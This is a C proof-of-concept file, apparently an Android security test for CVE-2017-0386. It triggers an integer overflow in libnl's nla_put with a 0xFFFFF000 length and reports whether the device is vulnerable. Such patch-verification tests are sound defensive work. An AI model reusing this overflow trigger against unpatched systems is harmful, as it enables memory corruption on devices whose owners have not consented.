1 /**
2  * Copyright (C) 2019 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 #define _GNU_SOURCE
17 
18 #define LOG_TAG "CVE-2017-0386"
19 
20 #include <log/log.h>
21 #include <netlink/attr.h>
22 #include <netlink/msg.h>
23 #include <netlink/netlink.h>
24 #include <netlink/object-api.h>
25 #include <netlink/object.h>
26 #include <netlink/types.h>
27 #include <stdio.h>
28 #include <sys/types.h>
29 #include <sys/wait.h>
30 
31 // These are private headers from libnl and make this code fragile.
32 #if __has_include(<netlink-private/types.h>)
33 // Old libnl private header.
34 #include <netlink-private/types.h>
35 #else
36 #include <base/nl-base-utils.h>
37 #include <nl-priv-dynamic-core/nl-core.h>
38 #endif
39 
40 #include "../includes/common.h"
41 
main(void)42 int main(void) {
43   struct nl_msg *message = NULL;
44   struct nlmsghdr *hdr;
45   char *data = NULL;
46   uint32_t result = 0;
47   int ret = EXIT_SUCCESS;
48   int pagesize = getpagesize();
49   size_t payloadlength = pagesize + 12 - 0x30;
50   size_t payload2length = pagesize;
51 
52   message = nlmsg_alloc();
53   if (message == NULL) {
54     ALOGE("Alloc message memory failed");
55     return EXIT_FAILURE;
56   }
57 
58   ALOGI("nl_msg.nm_size : %zx\n", message->nm_size);
59   hdr = message->nm_nlh;
60 
61   //allocate memory for data with payloadlength
62   data = malloc(payloadlength);
63   if (data == NULL) {
64     ALOGE("Alloc data memory failed");
65     nlmsg_free(message);
66     return EXIT_FAILURE;
67   }
68 
69   memset(data, 0x41, payloadlength);
70   nla_put(message, 0x4444, payloadlength, data);
71   result = hdr->nlmsg_len;
72   ALOGI("message address [%p, %p]", hdr, nlmsg_tail(hdr));
73   ALOGI("message len = 0x%x", result);
74 
75   free(data);
76   data = NULL;
77 
78   //allocate memory for data with payload2length
79   data = malloc(payload2length);
80   if (data == NULL) {
81     ALOGE("Alloc data2 memory failed");
82     nlmsg_free(message);
83     return EXIT_FAILURE;
84   }
85   memset(data, 0x33, payload2length);
86   ALOGI("\n\n\nPutting down overflow.......\n\n\n");
87   nla_put(message, 0x8888, 0xFFFFF000, data);
88 
89   ALOGI("message address [%p, %p]", hdr, nlmsg_tail(hdr));
90   ALOGI("message len = 0x%x", hdr->nlmsg_len);
91 
92   /*
93    * return 113 error code if length is mismatch
94    */
95   if(result != hdr->nlmsg_len) {
96     ret = EXIT_VULNERABLE;
97   }
98 
99   if (!!data) {
100     free(data);
101     data = NULL;
102   }
103 
104   if (!!message) {
105     nlmsg_free(message);
106     message = NULL;
107   }
108   return ret;
109 }
110